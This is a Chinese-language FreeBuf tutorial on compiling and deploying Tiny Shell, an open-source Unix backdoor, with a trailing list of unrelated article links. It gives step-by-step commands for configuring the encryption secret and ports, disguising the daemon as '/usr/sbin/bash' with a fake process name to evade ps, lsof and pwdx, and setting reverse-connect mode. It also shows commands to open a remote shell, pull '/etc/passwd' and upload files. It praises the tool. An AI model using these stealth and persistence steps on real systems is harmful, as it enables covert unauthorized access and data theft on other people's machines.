短小精幹的Unix類後門Tiny shell的使用與分析
*本文原創作者:dapzxb41693,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
0x00. 簡介
Tiny Shell 是一款開源的Unix類後門shell工具,由C語言編寫,體積小(在kali系統上編譯後只有55K大小)
分為客戶端
和服務端,支持正向連接模式(即服務端在遠程運行,hacker遠程直接鏈接),和反彈連接模式(hacker在自己伺服器監聽,服務端鏈接hacker監聽埠)
功能:
通信加密
支持上傳、下載、直接反彈shell
下載地址:
<點擊閱讀原文查看鏈接>
https://github.com/orangetw/tsh
具體使用與分析見下文
0x01. 使用與分析
源碼很少,非常精簡
一、正向連接模式使用與分析
I、編譯前,你需要做以下設置
修改tsh.h中的secret的值
secret 的值用於加密 控制端和被控端之間通信的數據
和後門的所有的通信信息都會被AES加密
編譯之後,客戶端和服務端都會硬編碼這個secret,用於解密數據
修改tsh.h中的SERVER_PORT值
SERVER_PORT是後門運行後監聽的埠
修改tsh.h中的FAKE_PROC_NAME值
FAKE_PROC_NAME 是用於偽裝顯示後門運行後的進程名字,比如這裡設置為/bin/bash, 那麼後門運行後,用ps -ef 或者netstat 查看,則顯示的執行程序是/bin/bash ,如下圖所示
注釋掉 如下兩行代碼
//#define CONNECT_BACK_HOST
"10.1.100.3"//#define CONNECT_BACK_DELAY 30
這兩行注用於設置反彈鏈接模式,下面再介紹
修改好後的示例如下:
編譯
make linux
make 後面跟的是系統類別,這裡以linux為例
編譯成功後,tsh為客戶端,tshd為服務端
II、運行前的工作
執行以下命令
umask 077; HOME=/var/tmp
umask設置是為了運行後的後門shell環境而設置,後門shell所有創建的文件只有後門shell進程屬主有許可權,其他都沒許可權
修改tshd 為你要偽裝顯示的進程名字
這裡修改成bash
mv tshd bash
如果不修改的話,直接運行後門進程,則使用lsof -i:8080 查看, COMMAND不會顯示為tsh.h設置的偽裝的進程名字
所以這裡要修改一下可執行文件名字
然後再運行一下,執行lsof -i:8080 發現COMMAND變成了bash,這樣迷惑性會更大一些
將後門文件移動至 /usr/sbin (當然也可移動到其他隱秘的地方,這裡以/usr/sbin舉例)
如果想要更加具有欺騙性的話,則需要把後門文件移動至/usr/sbin (系統自帶的bash位於/bin/bash 和 /usr/bin/bash)
如果不移動的話,使用pwdx 進程ID 可以查看到後門進程所在的執行目錄
移動到/usr/sbin之後,再運行,然後用pwdx 查看
顯示在/usr/sbin, 欺騙性增加一些
III、運行使用
1. 直接獲取被控端shell
服務端運行 (被控端. IP: 10.1.100.3, kali系統)
/usr/sbin/bash
注
: 服務端運行後,其父進程PID是1,也就是說這個進程是守護進程除非重啟系統,或者手動關閉,否則一直存在(當然你也可以加入啟動項,或者加入任務計劃中)客戶端(控制端 10.1.100.2)
./tsh 10.1.100.3
但是執行之後,沒反應,並沒有返回遠端的shell,奇怪,我未將tshd移動到/usr/sbin下保存為bash 是沒事的,一切OK,測試正常,但是將tshd移動到/usr/sbin/bash 之後,客戶端就鏈接不上,我決定查查代碼, 查了一會兒,在tsh.c的236行找到了問題的原因
這裡直接調用系統命令bash,而被控端的環境變數PATH值為:
/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/jdk1.8/bin:/
usr/local/jdk1.8/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/
bin:/sbin:/bin:/usr/local/apache-ant-1.10.1/bin:/usr/local/gradle/bin
/usr/sbin 先於 /usr/bin/bash 和/bin/bash找到bash命令 ,於是我們知道我們執行了假的bash(就是我們自己的後門程序),所以這裡解決辦法就是修改源碼,顯示指定要執行命令的路徑
重新編譯執行,然後客戶端再次連接
./tsh 10.1.100.3
成功,OK
2. 下載文件
除了可以直接連接上去外,這個後門還可以下載和上傳文件
下載遠程的/etc/passwd文件到當前目錄
./tsh 10.1.100.3 get /etc/passwd .
3. 上傳文件到遠程被控端
上傳
./tsh 10.1.100.3 put stop_fw.sh /tmp
遠程查看上傳成功
二、反向連接模式使用與分析
反向鏈接適用於被控制端位於防火牆後面,不允許外面直接連接,這就需要被控端從里從外主動連接
編譯前的準備工作和 編譯正向連接模式類似,不過 需要將如下兩行去掉注釋,即去掉//
#define CONNECT_BACK_HOST "10.1.100.3"#define CONNECT_BACK_DELAY 30
CONNECT_BACK_HOST 表示反向連接的主機(就是被控端主動要連接的控制端的IP)這裡設置反向連接的主機是10.1.100.3 (kali 這裡變成了控制端了)
CONNECT_BACK_DELAY 表示隔多久嘗試連接控制端一次 (被控端會一直不斷循環,嘗試連接控制端, 見下圖代碼,while 死循環)
位於被控端的後門運行之後,會一直嘗試連接控制端 (下圖為實際抓包)
1、編譯
make linux
2、在控制端執行監聽
./tsh cb
cb 表示反向監聽模式
將tshd 上傳到被控端,重命名為bash,移動至/usr/sbin/bash
3、被控端執行後門 (10.1.100.2 )
/usr/sbin/bash
查看後門進程信息
被控端進程也是守護進程,PID為3082
大約30秒後(這個等待時間可在編譯時設置,見上文),被控端shell就反彈到了控制端
然後此時查看被控端相關和後門相關進程信息:
其中 -bash 是真實的bash進程
這裡的PID為3082、3147都是後門守護進程,偽裝成了』/bin/bash』, PID為3148的進程是後門守護進程執行系統命令exec /bin/bash —login 反彈出來的shell進程
解釋一下反彈shell之後,這裡為什麼會又出現一個守護進程(也就是pid為3147的進程)
回到最開始
執行後門 /usr/sbin/bash
執行之後,主進程會fork一個子進程(上面已經提到),父進程退出,這樣fork出來的子進程就會成為孤兒進程被init託管(也就是pid為3048的進程)
當PID 為3048的這個進程成功連接上控制端監聽的埠之後,則又fork一個進程用(姑且稱之為子進程2)於處理建立好的連接(tshd.c代碼 211行開始)
子進程2 又會新fork一個子進程(稱之為子進程3),然後子進程2退出,子進程3成為孤兒進程,被init託管,成為守護進程,子進程3是真正用戶處理連接後的交互
0x02. 總結
總的來說,Tiny shell 是一款非常不錯的後門,體積小,功能夠用,而且通信加密,源碼也不是很複雜,大家有空可自行研究。
*本文原創作者:dapzxb41693,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


※劇透Black Hat 2017將要發布的8款安全工具
※PRMitM:一種可重置賬號密碼的中間人攻擊,雙因素認證也無效
TAG:FreeBuf |
※cephFS kernel client IO性能瓶頸分析
※Python和Scala的類繼承關係分析
※American Oxygen MV 分析
※Chemical Society Reviews:微光學在微流控分析中的應用
※深入 JVM 分析 spring-boot 應用 hibernate-validatorNoClassDefFoundError
※Process-Forest-Window進程日誌分析工具;python版的BloodHound
※The Ten聯乘Nike React Hyperdunk過後-分析籃球鞋在Sneaker文化中掘起的因由 | Xsneaker
※HikariCP源碼分析之leakDetectionThreshold及實戰解決Spark/Scala連接池泄漏
※Jdk 動態代理異常處理分析,UndeclaredThrowableException
※Kobe Bryant 預告將在《Detail》中分析如何防守 LeBron James
※一個可以動態分析惡意軟體的工具——Kernel Shellcode Loader
※android permissions分析
※Cytoscape:強大的pathway分析可視化工具
※Twitter 開源數據分析工具——tinfoleak
※【linux】【retpoline】retpoline技術分析
※針對Adobe Double Free的利用分析
※WireShark+Winhex:流量分析的好搭檔
※Python商務辦公——python+pandas高效實現Excel文件合併與分析
※卡巴斯基——Energetic Bear/Crouching Yeti APT分析報告
※基於Markov Chain Monte Carlo的智能手錶睡眠數據分析